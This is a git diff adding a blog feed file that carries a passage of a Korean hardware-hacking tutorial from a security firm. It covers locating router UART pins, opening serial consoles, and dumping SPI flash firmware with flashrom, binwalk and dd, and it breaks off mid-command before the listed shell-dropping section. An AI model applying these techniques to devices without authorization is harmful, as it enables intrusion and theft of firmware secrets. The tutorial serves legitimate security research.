+ diff --git a/docs/feed.xml b/docs/feed.xml new file mode 100644 index 0000000..a71e078 --- /dev/null +++ b/docs/feed.xml @@ -0,0 +1,2853 @@ +Jekyll2024-02-06T16:29:13+09:00http://ufo.stealien.com/feed.xmlSTEALIEN Technical Blog첨단기술을 간편하게 제공하는 기업, 스틸리언이 운영하는 기술블로그입니다.뉴비들의 하드웨어 해킹 입문기2024-02-06T10:00:00+09:002024-02-06T10:00:00+09:00http://ufo.stealien.com/2024-02-06/IoT-TechBlog-ko<h1 id="뉴비들의-하드웨어-해킹-입문기">뉴비들의 하드웨어 해킹 입문기</h1> + +<blockquote> + <p>이 포스트는 스틸리언 선제대응팀의 ‘이주협’ 선임 연구원님과 ‘이주영’ 연구원님이 정성스럽게 작성 해 주셨습니다.</p> + + <p>선제대응팀(Team Defend Forward)은 IoT, 임베디드 디바이스, 네트워크 디바이스같은 장비의 취약점 분석은 물론이고, +모바일 디바이스 어플리케이션, 웹 서비스/어플리케이션, 데스크탑/서버 어플리케이션/서비스 등 다양한 소프트웨어에 대한 +화이트박스/블랙박스 펜테스팅 서비스를 제공하고 있습니다.</p> + + <p>by 선제대응팀 팀장 김도현</p> +</blockquote> + +<h2 id="목차">목차</h2> + +<ul> + <li>UART + <ul> + <li>필요한 장비 정리</li> + <li>메인 칩셋 데이터 시트 참고하는 법</li> + </ul> + </li> + <li>Desoldering</li> + <li>FlashROM을 통한 펌웨어 추출</li> + <li>펌웨어 조작 - 쉘 떨구기</li> + <li>Soldering</li> + <li>Glitching + <ul> + <li>Serial Data Output Pin Glitching</li> + </ul> + </li> +</ul> + +<h2 id="1-인트로">1. 인트로</h2> + +<blockquote> + <p>본 블로그 포스트는 SPI를 사용하는 Router의 하드웨어 해킹을 기준 해 작성했습니다. 라우터의 구현에 따른 한가지 방법일 뿐, 일반적으로 통용되는 하드웨어 해킹 방법론이 아님을 명시합니다.</p> +</blockquote> + +<h2 id="2-uart">2. UART</h2> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/UART.drawio.png" alt="UART drawio" /></p> + +<p>UART(Universal Asynchronous Receiver/Transmitter)는 두 하드웨어 기기가 서로 Serial 통신할 때 사용하는 프로토콜입니다. 주로 하드웨어 개발자들이 디버깅 용도로 사용합니다.</p> + +<h3 id="21-uart를-사용하는-이유">2.1. UART를 사용하는 이유</h3> + +<p>경우에 따라 다르지만 UART로 Login Prompt 또는 OS Shell을 제공하는 하드웨어 기기가 있습니다. 하드웨어 기기의 쉘에 접근하면 기기 내에 동작하는 프로세스를 확인하거나 gdb와 같은 디버거를 원격으로 업로드하여 프로세스를 직접 디버깅하는 등의 분석을 수행할 수 있습니다.</p> + +<p>UART로 쉘을 제공하지 않더라도 부팅 로그를 출력하는 경우도 있습니다. 이 경우, 부팅 로그에 펌웨어 복호화 키와 같은 민감한 정보가 포함되어 있을 수 있습니다. 따라서 하드웨어 기기의 UART를 확인해야 하는 근거는 충분합니다.</p> + +<h3 id="22-uart-연결-준비">2.2. UART 연결 준비</h3> + +<p>UART 연결에 필요한 장비는 다음과 같습니다.</p> + +<table> + <thead> + <tr> + <th>장비</th> + <th>역할</th> + </tr> + </thead> + <tbody> + <tr> + <td>USB to TTL</td> + <td>기기의 UART와 PC 간 시리얼 통신을 위한 USB Converter</td> + </tr> + <tr> + <td>점퍼 케이블(optional)</td> + <td>USB to TTL과 기기의 UART 핀을 연결하는 케이블</td> + </tr> + <tr> + <td>MultiMeter</td> + <td>전기 및 전자 장비의 전압, 전류, 저항 등을 측정하는 테스트기</td> + </tr> + </tbody> +</table> + +<h3 id="221-uart의-종류">2.2.1. UART의 종류</h3> + +<p>UART에 연결하기 전 기기마다 가질 수 있는 UART 형태의 종류를 알아보겠습니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/ipTIME_N704VS_UART.jpg" alt="ipTIME N704VS router UART PIN" /></p> + +<p>ipTIME N704VS router UART PIN</p> + +<p>ipTIME N704VS 라우터의 경우, UART에 핀 헤더가 연결되어 있기 때문에 각 핀의 역할만 찾으면 바로 USB to TTL과 연결하여 Serial 통신이 가능합니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/Netis_UART.jpg" alt="Netis router UART PIN" /></p> + +<p>Netis router UART PIN</p> + +<p>Netis 라우터의 UART 핀입니다. 대부분의 UART 핀은 위 사진과 같이 4개의 패드로 존재합니다. 이러한 경우 암-수 점퍼 케이블을 연결하거나, 홀에 헤더핀을 납땜하여 암-암 점퍼케이블로 USB to TTL과 연결할 수 있습니다.</p> + +<h3 id="222-점퍼-케이블-종류">2.2.2. 점퍼 케이블 종류</h3> + +<p>점퍼 케이블의 종류는 다음과 같습니다.</p> + +<table> + <thead> + <tr> + <th>케이블 명</th> + <th>설명</th> + </tr> + </thead> + <tbody> + <tr> + <td>암-암 점퍼 케이블</td> + <td>케이블 헤더에 핀이 존재하지 않아 UART 핀과 탈부착할 수 있는 케이블</td> + </tr> + <tr> + <td>암-수 점퍼 케이블</td> + <td>케이블의 한쪽 헤더에만 핀이 고정 되어있는 케이블</td> + </tr> + <tr> + <td>수-수 점퍼 케이블</td> + <td>케이블의 양쪽 헤더에 핀이 고정 되어있는 케이블</td> + </tr> + </tbody> +</table> + +<p>일반 USB to TTL은 별도의 암-수 점퍼 케이블이나 암-암 점퍼 케이블과 핀 헤더가 필요합니다.</p> + +<p>케이블 일체형 USB to TTL은 암-암 점퍼 케이블이 내장되어 있어 별도의 암-암 점퍼 케이블 없이도 UART 핀에 연결할 수 있습니다. 각 UART 핀의 역할을 점퍼 케이블의 색깔로 구분하여 연결합니다.</p> + +<h3 id="223-uart-pin의-종류">2.2.3. UART Pin의 종류</h3> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/UART_Pin.drawio.png" alt="UART Pin drawio" /></p> + +<p>UART 핀의 각 역할은 다음과 같습니다.</p> + +<table> + <thead> + <tr> + <th>UART 핀</th> + <th>역할</th> + </tr> + </thead> + <tbody> + <tr> + <td>GND</td> + <td>메인 보드의 기준 전압을 맞춰주는 핀</td> + </tr> + <tr> + <td>TX</td> + <td>시리얼 데이터를 송신하는 핀</td> + </tr> + <tr> + <td>RX</td> + <td>시리얼 데이터를 수신하는 핀</td> + </tr> + <tr> + <td>VCC</td> + <td>전원을 공급하는 핀</td> + </tr> + </tbody> +</table> + +<p>하드웨어 기기에 전원 케이블을 통해서 전원 공급이 가능하다면 VCC 핀은 연결하지 않습니다.</p> + +<p>UART 핀의 역할을 알아보았으니 각 UART 핀을 식별해 봅시다.</p> + +<h2 id="23-uart-pin-식별">2.3. UART PIN 식별</h2> + +<h3 id="231-uart-gnd-pin-식별">2.3.1. UART GND PIN 식별</h3> + +<p>UART의 GND 핀은 멀티미터를 통해 찾을 수 있습니다. 멀티미터의 Conductivity 모드는 전기회로가 서로 연결 되어있을 때 부저음을 출력합니다. PCB<sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>에서 SPI Flash 칩의 GND 핀과 UART의 GND 핀은 연결되어 있습니다.</p> + +<p>따라서 SPI Flash 칩의 GND 핀 위치를 찾고 각 UART 핀과 한번씩 연결해보는 방식으로 부저음을 통해서 UART의 GND 핀을 찾을 수 있습니다.</p> + +<p><strong>(1) SPI Flash Chip GND PIN → UART GND PIN</strong></p> + +<p>SPI Flash 칩에서 GND 핀 위치는 데이터 시트를 통해 찾을 수 있습니다. SPI Flash 칩의 모델명을 확인하여 데이터 시트를 검색합니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/flashchip.jpg" alt="SPI Flash chip" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet.png" alt="SPI Flash chip datasheet" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/flashchip_datasheet_table.png" alt="SPI Flash chip datasheet table" /></p> + +<p>데이터 시트를 통해 SPI Flash 칩의 GND 핀은 점을 기준으로 4번째 핀인 VSS 핀임을 알 수 있습니다.</p> + +<p>이제 UART의 GND 핀을 식별해봅시다. 기기에 전원을 공급하지 않은 상태에서, 멀티미터를 Conductivity 모드로 설정합니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/conductivity_mode.jpg" alt="conductivity mode" /></p> + +<p>멀티미터의 검은 리드선<sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup>을 SPI Flash 칩의 GND 핀에 고정한 상태에서 빨간 리드선을 각 UART 핀에 한번씩 연결합니다.</p> + +<p><strong>(2) Other Method</strong></p> + +<p>데이터시트를 찾지 못한 이유로 SPI Flash 칩의 GND 핀 위치를 찾지 못할 수 있습니다. 해당 경우에는 멀티미터의 검은 리드선을 PCB의 구리 홀에 연결하고, 빨간 리드선을 각 UART 핀에 한번씩 연결하여 UART의 GND 핀을 찾을 수 있습니다.</p> + +<h3 id="232-tx--rx-식별">2.3.2. TX &amp; RX 식별</h3> + +<p><strong>(1) MCU와 UART의 단락 상태 검사</strong></p> + +<p>UART의 TX, RX핀은 MCU의 TX와 RX 핀과 연결되어 있습니다. 이를 이용해서 MCU의 TX와 RX 핀을 찾고 멀티미터 Conductivity 모드로 UART의 TX와 RX 핀을 찾을 수 있습니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/mcu.jpg" alt="mcu" /></p> + +<p>경우에 따라 MCU 위에 방열판이 덮고 있을 수 있습니다. MCU를 덮고 있는 방열판을 제거하고 MCU 칩 정보를 확인하여 데이터 시트를 검색합니다:</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/mcu_datasheet.png" alt="mcu datasheet" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/mcu_datasheet_table.png" alt="mcu datasheet table" /></p> + +<p>UART 핀은 125번 핀과 126번 핀입니다. MCU의 기준점(사진의 빨간 동그라미)을 바탕으로 125번, 126번 핀의 실제 위치를 찾을 수 있습니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/mcu_highlighted.jpg" alt="mcu highlighted" /></p> + +<p>이제 기기에 전원을 공급하지 않은 상태에서 멀티미터를 Conductivity 모드로 설정합니다. 검은색 리드선을 MCU의 RX에 고정하고 빨간색 리드선을 각 UART 핀에 연결했을 때, 부저음을 출력하는 핀이 UART의 RX 핀입니다. TX도 같은 방식으로 식별해봅시다.</p> + +<p><strong>(2) 핀의 전압, 전류 측정</strong></p> + +<p>이번에는 MCU의 데이터시트가 없어 RX와 TX를 찾지 못한 경우에 UART의 RX와 TX 핀을 식별할 수 있는 방법을 사용해봅시다.</p> + +<p>멀티미터를 DCV(직류전압) 모드로 설정한 후 검은색 프로브를 COM 단자, 빨간색 프로브를 V-Ω 단자에 연결합니다. 기기에 전원을 공급한 후, 검은색 리드선을 기기의 GND와 접촉하고, 빨간색 리드선은 식별하고자 하는 UART핀과 접촉하여 전압을 측정합니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/dcv.jpg" alt="dcv" /></p> + +<p>일반적으로 전압이 2.4V ~ 3.3V 사이를 지속적으로 변한다면 TX 핀, 전압이 0.0V이면 RX 핀입니다. TX 핀은 다양한 데이터를 송신하기 때문에 2.4V ~ 3.3V 사이에서 전압이 지속적으로 변합니다. RX 핀은 송신 행위 없이 데이터를 수신하는 역할만 수행하기 때문에 0.0V의 전압을 띄고 있습니다. 하지만 전원이 들어온 상태에서 TX와 RX의 전압을 측정할 때 노이즈가 발생하므로 경우에 따라 UART의 TX와 RX 전압이 거의 동일하게 측정됩니다.</p> + +<p>전압으로 TX와 RX를 구분할 수 없는 경우라면 전류를 측정하여 구분해봅니다. 멀티미터를 DCA(직류 전압) 모드로 설정한 후 검은색 프로브는 COM 단자에, 빨간색 프로브는 전류측정단자(~mA)에 연결합니다. 검은색 리드선은 기기의 GND와 접촉하고 빨간색 리드선은 식별대상 UART 핀에 접촉합니다. 기기에 전원을 공급한 후 측정되는 전류를 관찰합니다. 일반적으로 VCC, GND, RX는 전류가 흐르지 않고(0mA) TX의 경우에만 23mA~44mA 사이의 전류가 흐르고 있습니다.</p> + +<table> + <thead> + <tr> + <th>mode</th> + <th>PIN1</th> + <th>PIN2</th> + <th>PIN3</th> + <th>PIN4</th> + </tr> + </thead> + <tbody> + <tr> + <td>DCV</td> + <td>0 V</td> + <td>0 V</td> + <td>3.25 V</td> + <td>3.25 V</td> + </tr> + <tr> + <td>DCA</td> + <td>0 mA</td> + <td>0 mA</td> + <td>23.4 mA</td> + <td>-</td> + </tr> + <tr> + <td> </td> + <td>GND</td> + <td>RX</td> + <td>TX</td> + <td>VCC</td> + </tr> + </tbody> +</table> + +<ul> + <li>TIP: 멀티미터를 통한 RX, TX 구분이 어렵다면 : + <ul> + <li>MCU의 데이터시트를 참고하여 정확하게 식별합니다.</li> + <li>일단 RX, TX를 임의로 가정한 후 뒤의 과정대로 연결 수행 → 시리얼 통신 시 아무 반응이 없다면 바꿔서 연결합니다.</li> + </ul> + </li> +</ul> + +<h2 id="24-baud-rate란">2.4. Baud Rate란</h2> + +<p>GND, TX, RX 핀을 모두 식별하였으니 UART 통신에 필요한 Baud Rate 개념을 알아야 합니다.</p> + +<p>Baud Rate는 1초에 전송할 수 있는 symbol<sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>의 수입니다. 따라서 IoT 기기와 UART Serial 통신을 하기 위해서는 각 기기마다 사용하는 Baud Rate에 맞춰 통신 속도를 설정해야 합니다.</p> + +<p>아래는 UART에서 흔히 사용하는 Baud Rate 리스트입니다. <code class="language-plaintext highlighter-rouge">115200</code> 이하 값을 주로 사용합니다.</p> + +<table> + <thead> + <tr> + <th>Baud Rate</th> + </tr> + </thead> + <tbody> + <tr> + <td>4147200</td> + </tr> + <tr> + <td>921600</td> + </tr> + <tr> + <td>576000</td> + </tr> + <tr> + <td>460800</td> + </tr> + <tr> + <td>115200</td> + </tr> + <tr> + <td>57600</td> + </tr> + <tr> + <td>38400</td> + </tr> + <tr> + <td>28800</td> + </tr> + <tr> + <td>19200</td> + </tr> + <tr> + <td>9600</td> + </tr> + <tr> + <td>4800</td> + </tr> + <tr> + <td>2400</td> + </tr> + <tr> + <td>1200</td> + </tr> + </tbody> +</table> + +<p>Baud Rate 개념까지 알았으니 다음으로는 USB to TTL을 통해 UART Serial 통신을 해봅시다.</p> + +<p>위의 값들이 아닌 다른 Baud Rate 값을 사용한다면, Logical Analyzer를 사용하거나 기기 이름의 buad rate에 대해 검색하는 등의 방법을 사용할 수 있습니다.</p> + +<h2 id="25-uart-연결">2.5. UART 연결</h2> + +<h3 id="251-mac-환경">2.5.1. Mac 환경</h3> + +<p>본 항목에서는 Mac 환경에서의 UART 연결 방법에 대해서 다루겠습니다. Serial 통신 콘솔을 위해 minicom 프로그램을 사용합니다.</p> + +<p>점퍼 케이블을 사용해 USB to TTL의 케이블을 UART핀에 연결 합니다. 각 케이블의 역할은 아래와 같습니다.</p> + +<table> + <thead> + <tr> + <th>케이블 색</th> + <th>USB to TTL 핀</th> + <th>UART 핀</th> + </tr> + </thead> + <tbody> + <tr> + <td>검은색</td> + <td>GND</td> + <td>GND</td> + </tr> + <tr> + <td>흰색</td> + <td>RX</td> + <td>TX</td> + </tr> + <tr> + <td>청록색</td> + <td>TX</td> + <td>RX</td> + </tr> + </tbody> +</table> + +<p>연결 시 UART의 TX 핀에는 USB to TTL의 RX 케이블을, UART RX 핀에는 USB to TTL의 TX 케이블을 연결하도록 주의해야 합니다. IoT 기기에서 송신한 데이터를 USB to TTL이 수신하고, USB to TTL이 송신한 데이터를 IoT 기기가 수신하기 때문입니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/lsusb.png" alt="lsusb" /></p> + +<p>USB to TTL의 USB 포트는 PC에 연결합니다. <code class="language-plaintext highlighter-rouge">lsusb</code> 명령어를 사용해서 USB to TTL이 PC에 제대로 연결되었는지 확인할 수 있습니다. minicom의 Serial 장치를 설정하기 위해 <code class="language-plaintext highlighter-rouge">ls /dev | grep usb</code> 명령어로 연결된 USB to TTL의 장치 이름을 확인합니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/ls_dev.png" alt="list dev directory" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/minicom_s.png" alt="minicom setting" /></p> + +<p>USB to TTL의 장치 이름을 알았으니 <code class="language-plaintext highlighter-rouge">minicom -s</code> 명령어로 UART 통신을 설정합니다. Serial 장치를 설정하고 Baud Rate를 <code class="language-plaintext highlighter-rouge">38400</code>으로 설정하여 UART 통신 시 출력이 제대로 되는지 확인합니다. 만약 출력 결과를 읽을 수 없다면 Baud Rate를 바꿔가면서 정확한 값을 구할 수 있습니다.</p> + +<p>Baud Rate을 바꿔줄 때마다 장치 재부팅이 필요합니다. 부트 로그가 UART로 모두 출력되었다면 더 이상 출력할 데이터가 없습니다. 이 때문에 재부팅 없이 Baud Rate 값만 바꿔주면 값이 올바른지 여부가 의심스럽습니다. 따라서 Baud Rate 테스트를 진행할 때 기기를 재부팅해야 모든 부트 로그를 확인할 수 있습니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/uart.png" alt="uart" /></p> + +<p>확인 결과 부트로그가 제대로 출력 되었습니다.</p> + +<h3 id="252-windows-환경">2.5.2. Windows 환경</h3> + +<p>본 항목에서는 Windows 환경에서 UART를 연결해보겠습니다. Serial 통신을 위해서 PuTTY 프로그램을 사용한다는 점이 Mac 환경과 다릅니다.</p> + +<p>USB to TTL의 점퍼 케이블을 IoT 기기의 UART에 연결한 후 PC에 USB를 연결합니다. <code class="language-plaintext highlighter-rouge">내 컴퓨터 &gt; 장치관리자</code> 의 <code class="language-plaintext highlighter-rouge">포트</code> 탭에서 USB to TTL이 PC에 올바르게 인식되는지 확인할 수 있습니다. PuTTY의 Serial line을 설정하기 위해 인식된 USB to TTL 장치의 이름을 확인합니다. (만약 포트 탭에 장치가 인식되지 않는다면, 기타 장치 탭을 확인해봅시다. 기타 장치로 인식되었다면 드라이버를 설치해야 합니다.)</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/windows_device_manager.png" alt="windows device manager" /></p> + +<p>Serial 장치를 설정한 후 정확한 Baud Rate 값을 구합니다. UART 통신을 모두 설정하였다면 IoT 기기의 전원을 공급하여 부팅 시 로그가 출력 되는지 확인합니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/putty_s.png" alt="putty setting" /></p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/putty.png" alt="putty" /></p> + +<h2 id="3-spi-통신으로-펌웨어-추출하기">3. SPI 통신으로 펌웨어 추출하기</h2> + +<h3 id="31-spi란">3.1. SPI란</h3> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/I2C.drawio.png" alt="I2C drawio" /></p> + +<p>SPI 통신을 이해하기 위해서는 먼저 I2C 통신을 알아야 합니다. I2C(Inter-Integrated Circuit)는 2개의 직렬 버스로 여러 디바이스와 통신할 수 있는 프로토콜입니다. 한 개의 Master 디바이스와 여러 Slave 디바이스로 구성될 수 있습니다. 2개의 직렬 버스 중 SDA 선은 시리얼 데이터를 송수신하는 버스이고, SCL 선은 Master가 생성한 기준 클럭을 전송하는 버스입니다. 따라서 Master 디바이스에서 기준 클럭을 생성하고 해당 클럭에 맞춰서 I2C 통신에서는 반이중(Half-Duplex) 방식으로 시리얼 데이터를 송수신하게 됩니다.</p> + +<p><img src="/assets/2024-02-06-IoT-TechBlog/SPI.drawio.png" alt="SPI drawio" /></p> + +<p>SPI(Serial Peripheral Interface)는 I2C 통신 방식과 비슷한 방식이며, MCU와 주변 회로 간 통신에서 가장 널리 사용되는 통신 방식입니다. SPI 통신은 I2C 통신과 다르게 전이중(Full-Duplex) 방식으로 시리얼 데이터를 송수신합니다. 또한 MOSI 선, MISO 선, Clock 선과 SS 선이 사용됩니다.</p> + +<ul> + <li>MOSI(Master Out Slave IN) 선 : Master → Slave 시리얼 데이터 전송 선</li> + <li>MISO(Master In Slave Out) 선 : Slave → Master 시리얼 데이터 전송 선</li> + <li>Clock(SCLK, CLK) 선 : 동기화 신호를 위한 클럭 전송 선</li> + <li> + <p>SS, CS(Slave Select, Chip Select) 선 : 여러 Slave 디바이스 중 통신을 위해 시리얼 데이터를 보낼 경로를 결정하는 신호 선</p> + + <p>Master 디바이스가 Slave 디바이스로 시리얼 데이터를 전송하면, Slave 디바이스의 Shift Register 데이터는 1 클럭 당 1 비트의 시리얼 데이터가 MSB(Most Significant Bit) 혹은 LSB(Least Significant Bit) 방식으로 shift 되어 데이터가 저장되는 구조로 동작합니다.</p> + </li> +</ul> + +<h3 id="32-방법">3.2. 방법</h3> + +<p>일반적으로 MCU는 부팅 단계에서 SPI Flash 칩과 통신하여 펌웨어를 얻습니다. 우리는 동일한 방법을 통해서 SPI Flash 칩으로부터 펌웨어를 얻으려고 합니다. 따라서 SPI Flash 칩의 데이터 시트를 참고하여 SPI 통신에 필요한 정보를 수집해야 합니다.</p> + +<p>저희는 flashrom<sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup> 프로그램을 사용할 것입니다. flashrom은 Flash 칩을 식별하여 reading, writing, verifying, erasing 등의 작업을 수행해주는 유틸리티 프로그램입니다. 476개 이상의 Flash 칩, 291개의 칩셋, 500개의 메인보드 등과 통신할 수 있습니다. 따라서 SPI Flash 칩의 데이터시트에 명시된 명령어들을 몰라도 flashrom 명령어를 통해 읽기, 쓰기 등의 작업을 수행할 수 있습니다.</p> + +<p>최신 버전의 flashrom을 라즈베리파이에 빌드하여 사용합니다.</p> + +<p>SPI Flash 칩의 데이터시트에서 핀 맵을 확인합니다. 이를 라즈베리파이의 SPI 핀과 매핑합니다.</p> + +<h3 id="33-soic-test-clip-사용">3.3. SOIC Test-Clip 사용</h3> + +<p>데이터 시트를 참고하여 암-암 점퍼 케이블로 라즈베리파이와 SOIC-CLIP을 연결해줍니다.</p> + +<table> + <thead> + <tr> + <th>사용 장비</th> + <th>역할</th> + </tr> + </thead> + <tbody> + <tr> + <td>POMONA SOIC-CLIP</td> + <td>점퍼케이블로 8 PIN SOIC와 연결할 수 있게 해준다.</td> + </tr> + <tr> + <td>라즈베리파이</td> + <td>flashrom을 실행하여 flash memory와 통신</td> + </tr> + <tr> + <td>분석용 PC</td> + <td>라즈베리파이에 접속(ssh)</td> + </tr> + </tbody> +</table> + +<p><strong>펌웨어 추출 과정</strong></p> + +<p>분석용 PC와 라즈베리파이를 같은 네트워크 대역에 연결한 후, PC에서 라즈베리파이에 접속합니다.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh user@xxx.xxx.xxx.xxx +</code></pre></div></div> + +<p>라즈베리파이에서 flashrom을 이용해 firmware를 추출합니다.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>flashrom <span class="nt">-p</span> linux_spi:dev<span class="o">=</span>/dev/spidev0.0 <span class="nt">-r</span> <span class="o">[</span>filename] +</code></pre></div></div> + +<p>추출한 펌웨어를 binwalk를 이용해서 분석합니다. binwalk는 펌웨어와 같은 바이너리 파일의 구조을 분석하고, 펌웨어에 포함된 파일을 추출 및 압축 해제할 수 있는 도구입니다. binwalk는 파일 시그니처를 기반으로 바이너리 파일의 구조를 분석해줍니다.</p> + +<ul> + <li> + <p>펌웨어 구조 확인</p> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>binwalk <span class="o">[</span>filename] +</code></pre></div> </div> + + <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@raspberrypi:~/ <span class="nv">$ </span>flashrom <span class="nt">-p</span> linux_spi:dev<span class="o">=</span>/dev/spidev0.0 <span class="nt">-r</span> firmware.bin <span class="nt">-c</span> <span class="s2">"EN25QH32B"</span> +flashrom 1.4.0-devel <span class="o">(</span>git:v1.2-1386-g5106287e<span class="o">)</span> on Linux 6.1.0-rpi6-rpi-v8 <span class="o">(</span>aarch64<span class="o">)</span> +flashrom is free software, get the <span class="nb">source </span>code at https://flashrom.org + +Using clock_ gettime <span class="k">for </span>delay loops <span class="o">(</span>clk_id: 1, resolution: 1ns<span class="o">)</span><span class="nb">.</span> +Using default 2000kHz clock. Use <span class="s1">'spispeed'</span> parameter to override. +Found Eon flash chip <span class="s2">"EN25QH32B"</span> <span class="o">(</span>4096 kB, SPI<span class="o">)</span> on linux_spi. +ニニニ +This flash part has status UNTESTED <span class="k">for </span>operations: WP +The <span class="nb">test </span>status of this chip may have been updated <span class="k">in </span>the latest development version of flashrom. If you are running the latest development version, please email a report to flashrom@flashrom.org <span class="k">if </span>any of the above operations work correctly <span class="k">for </span>you with this flash chip. Please include the flashrom log file <span class="k">for </span>all operations you tested <span class="o">(</span>see the man page <span class="k">for </span>details<span class="o">)</span>, and mention which mainboard or programmer you tested <span class="k">in </span>the subject line. +Thanks <span class="k">for </span>your <span class="nb">help</span><span class="o">!</span> +Reading flash... <span class="k">done</span><span class="nb">.</span> + +user@raspberrypi:~/ <span class="nv">$ </span>binwalk firmware.bin +DECIMAL HEXADECIMAL DESCRIPTION +<span class="nt">------------------------------------------------------------------------------</span> +5360 0x14F0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60784 bytes +65584 0x10030 <span class="nb">gzip </span>compressed data, maximum compression, from Unix, last modified: 2013-12-31 15:00:48 +141408 0x22860 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4119960 bytes +1441792 0x160000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2489160 bytes, 1364 inodes, blocksize: 131072 bytes, created: 2021-04-19 03:14:42 +</code></pre></div> </div> + </li> +</ul> + +<p>추출된 결과의 상단에는 LZMA, gzip으로 압축된 파일들이 보이고, 그 밑에 SquashFS filesystem이 파일을 확인할 수 있습니다. SquashFS는 경량 리눅스 디바이스에서 사용하는 읽기 전용 파일시스템으로, 여러 파일과 디렉토리를 단일 파일에 압축하여 저장할 수 있습니다.</p> + +<p>offset을 확인했을 때 앞부분부터 끝까지 잘 식별한 걸 보니, 펌웨어가 잘 추출된 것 같습니다. 만약 펌웨어를 제대로 읽지 못했다면, 3.4. Desoldering 과정으로 진행합니다.</p> + +<h2 id="34-desoldering">3.4. Desoldering</h2> + +<p>여기서는 땜납을 녹여 직접 SPI Flash 칩을 떼어낸 후 펌웨어를 추출하겠습니다. 3.2. 과정에서 펌웨어 추출에 성공하였다면, Desoldering 과정은 생략하여도 괜찮습니다.</p> + +<table> + <thead> + <tr> + <th>장비</th> + <th>역할</th> + </tr> + </thead> + <tbody> + <tr> + <td>Heat gun</td> + <td>뜨거운 바람으로 납을 녹인다.</td> + </tr> + <tr> + <td>SOP8 - DIP8 변환 소켓</td> + <td>8핀 flash chip의 핀을 점퍼케이블(DIP) 핀 규격으로 변환해주는 어댑터</td> + </tr> + <tr> + <td>라즈베리파이</td> + <td>flashrom을 실행하여 flash memory와 통신</td> + </tr> + <tr> + <td>분석용 PC</td> + <td>라즈베리파이에 접속(ssh)</td> + </tr> + <tr> + <td>핀셋</td> + <td>Flash 칩을 PCB 기판에서 분리할 때 사용. 없어도 괜찮지만 있으면 매우 편리하다.</td> + </tr> + </tbody> +</table> + +<p>SPI Flash 칩을 PCB 기판에서 떼어낸 후 펌웨어를 추출하는 이유는 PCB 기판의 노이즈를 줄여 펌웨어를 정상적으로 추출하기 위해서 입니다.</p> + +<p>히트건으로 납을 데워 녹이고(저희는 온도 380도, 바람세기 6으로 설정하였습니다), 핀셋으로 SPI Flash 칩을 들어내면 PCB 기판으로부터 분리할 수 있습니다.</p> + +<p>분리한 SPI Flash 칩을 SOP8-DIP8 변환 소켓에 꽂아주고, 암-암 점퍼케이블을 사용해 라즈베리파이와 연결합니다. 이후 과정은 3.3. SOIC Test-Clip 사용 - 펌웨어 추출 과정과 동일하게 진행합니다.</p> + +<h1 id="4-펌웨어-조작fusing">4. 펌웨어 조작(Fusing)</h1> + +<p>성공적으로 <code class="language-plaintext highlighter-rouge">firmware.bin</code> 이름의 펌웨어 파일을 획득했습니다. 본 항목에서는 펌웨어의 파일시스템만 추출할 것입니다.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@raspberrypi:~/ <span class="nv">$ </span>binwalk firmware.bin +DECIMAL HEXADECIMAL DESCRIPTION +<span class="nt">------------------------------------------------------------------------------</span> +5360 0x14F0 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 60784 bytes +65584 0x10030 <span class="nb">gzip </span>compressed data, maximum compression, from Unix, last modified: 2013-12-31 15:00:48 +141408 0x22860 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 4119960 bytes +1441792 0x160000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2489160 bytes, 1364 inodes, blocksize: 131072 bytes, created: 2021-04-19 03:14:42 +</code></pre></div></div> + +<p>binwalk 명령어의 분석 결과에서 파일시스템을 찾고, 파일시스템 시작 offset과 size를 확인합니다. 파일시스템의 offset에 맞춰, <code class="language-plaintext highlighter-rouge">dd</code> 명령어로 파일시스템을 추출할 수 있습니다. skip은 추출하려는 파일의 시작 오프셋, count는 크기를 의미합니다. skip값과 count값은 10진수로 전달해주어야 합니다.</p> + +<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">dd </span><span class="k">if</span><span class="o">=</span>./firmware.bin <span class="nv">of</span><span class="o">=</span>./extract_squashfs <span class="nv">skip</span><span class="o">=[</span>1441792] <span class="nv">bs</span><span class="o">=</span>1 <span class="nv">count</span><span 